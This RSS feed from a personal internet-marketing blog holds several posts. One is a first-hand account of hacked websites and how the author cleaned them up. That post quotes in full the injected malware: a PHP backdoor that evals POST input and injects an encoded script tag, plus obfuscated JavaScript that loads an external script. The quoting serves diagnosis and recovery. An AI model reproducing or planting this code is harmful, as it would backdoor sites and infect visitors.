<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>AbelCheng.com &#187; Uncategorized</title>
	<atom:link href="http://www.abelcheng.com/category/uncategorized/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.abelcheng.com</link>
	<description>The life of an Internet entrepreneur and stay-at-home dad</description>
	<lastBuildDate>Wed, 12 May 2010 12:15:58 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How to Redirect Any Page or Post Using 301 Redirect in Thesis</title>
		<link>http://www.abelcheng.com/301-redirect-in-thesis/</link>
		<comments>http://www.abelcheng.com/301-redirect-in-thesis/#comments</comments>
		<pubDate>Wed, 05 May 2010 10:04:12 +0000</pubDate>
		<dc:creator>Abel Cheng</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.abelcheng.com/?p=251</guid>
		<description><![CDATA[Note: This post is applicable only to Thesis 1.7, not 1.5.1. When I was using Thesis 1.5.1, there was no such feature.
If you are not using Thesis theme (I ask you to seriously consider using it) for your blog, I will let you know of a plugin which does exactly this in a minute.
But first [...]]]></description>
			<content:encoded><![CDATA[<p></p><p><em><strong>Note:</strong> This post is applicable only to <a href="http://www.abelcheng.com/thesis" target="_blank">Thesis</a> 1.7, not 1.5.1. When I was using Thesis 1.5.1, there was no such feature.</em></p>
<p>If you are not using Thesis theme (I ask you to <a href="http://www.abelcheng.com/thesis-theme-review/">seriously consider using it</a>) for your blog, I will let you know of a plugin which does exactly this in a minute.</p>
<p>But first let’s talk about how to create a 301 redirect in Thesis 1.7.</p>
<p><span id="more-251"></span>301 Redirect is the best way to redirect any web page to another link (it could be internal or external link) because it is SEO friendly and you won’t be penalized by search engines for doing this. I usually use this for cloaking my ugly, long, and non-memorable affiliate links.</p>
<p>Follow these steps to create a 301 redirect page for Thesis users:</p>
<ul>
<li>Login to <em>Wordpress Dashboard</em>.</li>
<li>Create a new page: <em>Pages &gt; Add New</em> (or <em>Posts &gt; Add New</em>). I prefer creating new pages.</li>
<li>Enter the title of the page. This will become the URL of this new page. Make sure this URL is what you want by checking the Permalink. To change/rename, click <em>Edit</em> and then <em>Save</em>.</li>
<li>Goto field <em>301 Redirect for this Page’s URL</em> (scroll down a bit), enter URL of the destination page – the page you want this new page to redirect to. In this case, it can be your affiliate link, for example.<br />
Click <em>Publish</em>.</li>
</ul>
<p>Easy peasy!</p>
<p>Now you can test it by entering the URL of the new page in the browser, and if it works properly, it will send you to the destination page – the URL you just entered in <em>301 Redirect for this Page’s URL</em> field.</p>
<p>I used to create PHP files just to cloak my links. Then I used FTP software to upload the files to my web server. As you can see, it is a very troublesome process. But with <a href="http://www.abelcheng.com/thesis" target="_blank">Thesis</a>, you can do this in a flash. No FTP is required.</p>
<h3>Video Tutorial</h3>
<p>Watch this video if you are STILL not sure how to do it. Hope the tutorial video can help:</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="330" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://blip.tv/play/AYHSxlAC" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="330" src="http://blip.tv/play/AYHSxlAC" allowfullscreen="true"></embed></object></p>
<h3>For Non-Thesis Users</h3>
<p>Here is what I promised you at the beginning of this article.</p>
<p>If you are not using Thesis theme, you can still configure 301 Redirect in WP by using a plugin. Try this: <a href="http://www.searchenginepeople.com/blog/301-redirect-plugin-for-wordpress-for-non-technical-bloggers.html" target="_blank">301 Redirect Plugin for Wordpress</a>. I have not tried it myself. But judging from the positive feedback, I believe the plugin works as promised. Why not you give it a try?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abelcheng.com/301-redirect-in-thesis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>My Sites Are Hacked – Here&#8217;s How I Fixed It</title>
		<link>http://www.abelcheng.com/my-sites-are-hacked-%e2%80%93-heres-how-i-fixed-it/</link>
		<comments>http://www.abelcheng.com/my-sites-are-hacked-%e2%80%93-heres-how-i-fixed-it/#comments</comments>
		<pubDate>Tue, 07 Apr 2009 03:48:38 +0000</pubDate>
		<dc:creator>Abel Cheng</dc:creator>
				<category><![CDATA[Fraud and Security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[site hacked]]></category>
		<category><![CDATA[tmp_lkojfghx]]></category>

		<guid isPermaLink="false">http://www.abelcheng.com/?p=37</guid>
		<description><![CDATA[About two weeks ago, my websites were hacked. Not one, not two but three! If you face the same problem, this post might be useful to you as I outline the steps I have taken to overcome this problem and prevent it from happening.
SYMPTOMS
Your site is down with error:
Parse error: syntax error, unexpected T_VARIABLE in [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>About two weeks ago, my websites were hacked. Not one, not two but three! If you face the same problem, this post might be useful to you as I outline the steps I have taken to overcome this problem and prevent it from happening.<span id="more-37"></span></p>
<h3>SYMPTOMS</h3>
<p>Your site is down with error:</p>
<p><em><strong>Parse error: syntax error, unexpected T_VARIABLE in /home/hosting/public_html/index.php on line 1</strong> </em></p>
<p>Upon checking, most of main PHP, HTML and JavaScript files are altered. The following lines are appended in the top section of PHP pages:</p>
<p><em>&lt;?php if(!function_exists(&#8217;tmp_lkojfghx&#8217;)){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined(&#8217;TMP_XHGFJOKL&#8217;))define(&#8217;TMP_XHGFJOKL&#8217;,base64_decode(&#8217;PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCclM0NUUHNTc2NyU3NpZE5wdE5KbiUyMGNNN3NkNktyY1RQJTNEJTJGTkpuJTJGOWNNNzRUUCUyRTI0N1RQJTJFMiUyRTFOSm45Y003NSUyRmNNN2pxdWVkTnJTc3klMkVjTTdqc0hZJTNFJTNDJTJGU3NzVFBjdXZqcmlwdXZqdFNzJTNFJykucmVwbGFjZSgvVFB8TkpufEhZfHV2anxkTnxTc3xkNkt8Y003L2csIiIpKTsKIC0tPjwvc2NyaXB0Pg==&#8217;));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139))$s=gzinflate(substr($s,10,-8));if(preg_match_all(&#8217;#&lt;script(.*?)&lt;/script&gt;#is&#8217;,$s,$a))foreach($a[0] as $v)if(count(explode(&#8221;\n&#8221;,$v))&gt;5){$e=preg_match(&#8217;#[\'"][^\s\'"\.,;\?!\[\]:/&lt;&gt;\(\)]{30,}#&#8217;,$v)||preg_match(&#8217;#[\(\[](\s*\d+,){20,}#&#8217;,$v);if((preg_match(&#8217;#\beval\b#&#8217;,$v)&amp;&amp;($e||strpos($v,&#8217;fromCharCode&#8217;)))||($e&amp;&amp;strpos($v,&#8217;document.write&#8217;)))$s=str_replace($v,&#8221;,$s);}$s1=preg_replace(&#8217;#&lt;script language=javascript&gt;&lt;!&#8211; \ndocument\.write\(unescape\(.+?\n &#8211;&gt;&lt;/script&gt;#&#8217;,&#8221;,$s);if(stristr($s,&#8217;&lt;body&#8217;))$s=preg_replace(&#8217;#(\s*&lt;body)#mi&#8217;,TMP_XHGFJOKL.&#8217;\1&#8242;,$s1);elseif(($s1!=$s)||stristr($s,&#8217;&lt;/body&#8217;)||stristr($s,&#8217;&lt;/title&gt;&#8217;))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&amp;&amp;$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])==&#8217;tmp_lkojfghx&#8217;)return;else $s[]=array($a==&#8217;default output handler&#8217;?false:$a);for($i=count($s)-1;$i&gt;=0;$i&#8211;){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start(&#8217;tmp_lkojfghx&#8217;);for($i=0;$i&lt;count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler(&#8217;tmp_lkojfghx2&#8242;))!=&#8217;tmp_lkojfghx2&#8242;)$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?&gt;<br />
</em><br />
The following code is appended at the bottom of HTML and JS (Javascript) pages:</p>
<p><em>&lt;!&#8211;<br />
document.write(unescape(&#8217;%3CTPsSscrSsidNptNJn%20cM7sd6KrcTP%3D%2FNJn%2F9cM74TP%2E247TP%2E2%2E1NJn9cM75%2FcM7jquedNrSsy%2EcM7jsHY%3E%3C%2FSssTPcuvjripuvjtSs%3E&#8217;).replace(/TP|NJn|HY|uvj|dN|Ss|d6K|cM7/g,&#8221;"));<br />
&#8211;&gt;<br />
</em><br />
If you look closely, the files that have been hacked/changed carry the same timestamp (same date and time.) I believe the hackers use a program to make the changes.</p>
<h3>POSSIBLE CAUSES</h3>
<p><div style="display:block;float:right;padding: 0px 10px 10px 10px;"><script type="text/javascript"><!--
google_ad_client = "pub-5317728182695207";
google_ad_slot = "5362858640";
google_ad_width = 300;
google_ad_height = 250;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</div>Three of my websites are hacked and coincidentally these are the sites I have done some uploading using FTP client Filezilla the night before. I suspect the hackers were using keylogger/spyware to steal my FTP logins. Then by using the info they steal, they login to my sites and appended the above code to my pages.</p>
<p>(<strong>NOTE:</strong> It was later confirmed that FTP communication was the cause as I tried updating a site using Filezilla and sure enough the site was hacked again the next day. The other two sites that were updated with online FTP are intact.)</p>
<p>I search on the Internet and found that many people have experienced the same problem but no solution found.</p>
<h3>SOLUTIONS</h3>
<p>Step 1:</p>
<p>There are two possible causes. Either your web server or your computer is hacked. Before you do anything, use <a href="http://www.lavasoft.com" target="_blank">Lavasoft</a> (<strong>IMPORTANT:</strong> For anti-virus, Do NOT use AVG Free as it caused another problem – inability to browse the Net – use Avira instead) or <a href="http://www.safer-networking.org" target="_blank">Spybot S&amp;D</a> (free) to detect and remove any possible spyware from your computer. You may want to scan your computer on a regular basis from now on.</p>
<p>(<strong>UPDATE:</strong> Yesterday, I used <a href="http://www.malwarebytes.org" target="_blank">Malwarebytes.org</a> to scan and remove some extra spyware which went undetected by Spybot and Avira. After the scan, I used Filezilla to upload some files to a website. I found out that the site works fine until now. <strong>CONCLUSION:</strong> Malwarebytes found the problem and fixed it better than Avira and Spybot and Lavasoft. Use this in the first place.)</p>
<p>Step 2:</p>
<p>Make sure you change your FTP passwords in cPanel first before anything else. To be sure I use <a href="http://www.net2ftp.com" target="_blank">online FTP</a> instead of Filezilla to edit/upload/rename files. I don’t want my new passwords to be stolen via FTP communications.</p>
<p><strong>NOTE:</strong> There’s a daily limit on transfer volume when you use Net2FTP. However, you can install net2ftp on your server.</p>
<p>Then take <span style="text-decoration: underline;">one</span> of the steps below:</p>
<h3>Option One: Restore from Backup</h3>
<p>Depending on your webhost, you can either do a restore of your website yourself or you have to ask the Support team to do it for you. In this step, you want to revert your website to the day before the site is hacked.</p>
<h3>Option Two: Do It Yourself</h3>
<p>If you don&#8217;t have a backup from cPanel or webhost, you have no choice but to do this. This is the most time consuming one. By using a web based FTP client, upload all clean HTML and PHP pages (without the funny codes as shown above) from your own backup on your PC to your server. Of course, provided you have a mirror copy of your web pages.</p>
<p>If you don&#8217;t, do this: Edit the affected files directly using Net2FTP.com online by removing the extra codes.</p>
<p>I still find that using Net2FTP to download files to desktop and edit them with Dreamweaver, and then upload back to server using Net2FTP is faster.</p>
<p>For MySQL databases, I am not sure if I need to make any changes to rectify this problem. It seems that it&#8217;s not affected.</p>
<p><strong>Try NOT to use Filezilla to avoid passwords being stolen again by hackers.</strong></p>
<p>When you take these steps, you will get your website up and running again.</p>
<h3>Preventive Measures</h3>
<p><strong>Scan your computer regularly </strong> using Spybot or Lavasoft (For anti-virus, do not use AVG Free, use Avira instead). Install firewall to protect your computer from being attacked by spyware or virus.</p>
<p>(<strong>UPDATE:</strong> <a href="http://www.abelcheng.com/malwarebytes/" target="_blank">Malwarebytes.org</a> is the best for this problem.)</p>
<p><strong>Backup your website</strong> on a regular basis using cPanel. Do backup as and when you have made changes. You can also use Wordpress plugin to automate the backup process. When your site is hacked, backups come in very handy. You will be very glad that you did.</p>
<p>There you go. It&#8217;s has been a great experience to me as it has never crossed my mind that my sites would be hacked.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abelcheng.com/my-sites-are-hacked-%e2%80%93-heres-how-i-fixed-it/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Gary Halbert Passes Away</title>
		<link>http://www.abelcheng.com/gary-halbert-passes-away/</link>
		<comments>http://www.abelcheng.com/gary-halbert-passes-away/#comments</comments>
		<pubDate>Wed, 11 Apr 2007 01:21:47 +0000</pubDate>
		<dc:creator>Abel Cheng</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Gary Halbert]]></category>

		<guid isPermaLink="false">http://www.abelcheng.com/?p=17</guid>
		<description><![CDATA[As my routine today, the first thing in the morning, I checked my emails like normal. I couldn&#8217;t believe my eyes when I read about the passing of Gary Halbert.



I thought it was a joke from some unethical marketer to create hype. As I continued, it turned out to be true.
I quickly read other mails [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>As my routine today, the first thing in the morning, I checked my emails like normal. I couldn&#8217;t believe my eyes when I read about the passing of Gary Halbert.</p>
<p><span id="more-17"></span></p>
<p><div style="display:block;float:right;padding: 0px 10px 10px 10px;"><script type="text/javascript"><!--
google_ad_client = "pub-5317728182695207";
google_ad_slot = "5362858640";
google_ad_width = 300;
google_ad_height = 250;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</div>I thought it was a joke from some unethical marketer to create hype. As I continued, it turned out to be true.</p>
<p>I quickly read other mails from Gary&#8217;s fellow marketer friends. Again, they confirmed the sad news. </p>
<p>Gary passed away in sleep on Sunday night, according to <a href="http://www.john-carlton.com/2007/04/10/for-gary/"  title="Click here" target="new">John Calrton</a>.</p>
<p>If you don&#8217;t know Gary, he&#8217;s the world&#8217;s one of the best direct marketers.</p>
<p>Even though I have not met Gary in person but I love his work. Visit <a href="http://www.thegaryhalbertletter.com/"  title="Gary Halbert" target="new">his website</a> while you can, I&#8217;m not sure how long it will be there.</p>
<p>The news is so sudden and I still thought that Gary was okay as he just posted his newsletter April 3rd.</p>
<p>The news makes me think that life is short. The best bet is to live your life to the fullest. Do what matters most to you, what you enjoy. Don&#8217;t neglect your loved ones until it&#8217;s too late.</p>
<p>Rest in peace, Gary.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abelcheng.com/gary-halbert-passes-away/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>An Idea A Day</title>
		<link>http://www.abelcheng.com/an-idea-a-day/</link>
		<comments>http://www.abelcheng.com/an-idea-a-day/#comments</comments>
		<pubDate>Thu, 19 Oct 2006 00:55:58 +0000</pubDate>
		<dc:creator>Abel Cheng</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.abelcheng.com/?p=9</guid>
		<description><![CDATA[

Wealth is born out of ideas. To get new spark of ideas, you must feed your brain with ideas.
Get an idea a day delivered to your inbox.
Click &#8220;Subscribe&#8221; and enter your name and email.
You can view the archive &#8211; thousands of interesting ideas.
You can also submit an idea if you have one.
Great tool. You might [...]]]></description>
			<content:encoded><![CDATA[<p></p><p><div style="display:block;float:right;padding: 0px 10px 10px 10px;"><script type="text/javascript"><!--
google_ad_client = "pub-5317728182695207";
google_ad_slot = "5362858640";
google_ad_width = 300;
google_ad_height = 250;
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</div>Wealth is born out of ideas. To get new spark of ideas, you must feed your brain with ideas.</p>
<p>Get an <a href="http://idea-a-day.com/"  title="Idea A Day"><b>idea a day</b></a> delivered to your inbox.</p>
<p>Click <b>&#8220;Subscribe&#8221;</b> and enter your name and email.</p>
<p>You can view the archive &#8211; thousands of interesting ideas.</p>
<p>You can also submit an idea if you have one.</p>
<p>Great tool. You might find some ideas that you can turn into wealth there.</p>
<p>Have fun,</p>
<p>Abel Cheng</p>
<p><b>P.S.</b> &#8211; I&#8217;d like to hear your comment. Post it on the blog.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abelcheng.com/an-idea-a-day/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MYSS! 2002 Is Now Free</title>
		<link>http://www.abelcheng.com/myss-2002-is-now-free/</link>
		<comments>http://www.abelcheng.com/myss-2002-is-now-free/#comments</comments>
		<pubDate>Mon, 02 Oct 2006 00:48:42 +0000</pubDate>
		<dc:creator>Abel Cheng</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Ken Evoy]]></category>
		<category><![CDATA[Make Your Site Sell]]></category>

		<guid isPermaLink="false">http://www.abelcheng.com/?p=7</guid>
		<description><![CDATA[I didn&#8217;t believe it when I first read it.
MYSS! used to worth $29.95. But now you can get it free.

What the heck is MYSS! anyway?
It stands for Make Your Site Sell! The book is full of practical tips on how to start a business online from scratch.
It&#8217;s one of the books that I bought when [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>I didn&#8217;t believe it when I first read it.</p>
<p>MYSS! used to worth $29.95. But now you can get it free.</p>
<p><span id="more-7"></span></p>
<p>What the heck is MYSS! anyway?</p>
<p>It stands for Make Your Site Sell! The book is full of practical tips on how to start a business online from scratch.</p>
<p>It&#8217;s one of the books that I bought when I first started. It helped me so much in creating my first site. Trust me, it&#8217;s a gem and it&#8217;s so good that the book was called&#8230;</p>
<p><b>&#8220;The BIBLE Of Selling On The Net&#8221;</b></p>
<p>Seven volumes, over 1,500 pages&#8230;</p>
<p>Here&#8217;s everything that&#8217;s in the MYSS! 2002 volumes&#8230;</p>
<p><b>Product</b> &#8212; how to develop and position products for the Web.</p>
<p><b>Make Your Store Sell!</b> &#8212; the new volume, specifically about multi-product online stores.</p>
<p><b>Site-Selling</b> &#8212; how to make a site that convinces visitors to buy.</p>
<p><b>Traffic-Building</b> &#8212; how to attract targeted traffic to your site.</p>
<p>Despite that it&#8217;s free now, MYSS! remains a great read, full of useful, evergreen ideas and information, especially if you are trying to sell a product.</p>
<p>Wait no more, grab it while it&#8217;s still free <a href="http://myss.sitesell.com/berich2.html"  title="Download here">here</a>.</p>
<p>Have fun,</p>
<p>Abel Cheng</p>
<p><b>P.S.</b> Secret: The author is one of my &#8220;carefully selected&#8221; marketing icons <img src='http://www.abelcheng.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p><b>P.P.S.</b> Don&#8217;t just download it and chuck it aside. Read it right after you download it. If you don&#8217;t, I bet you&#8217;ll never read it. And you know what, you&#8217;ll be missing out many powerful tips.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abelcheng.com/myss-2002-is-now-free/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
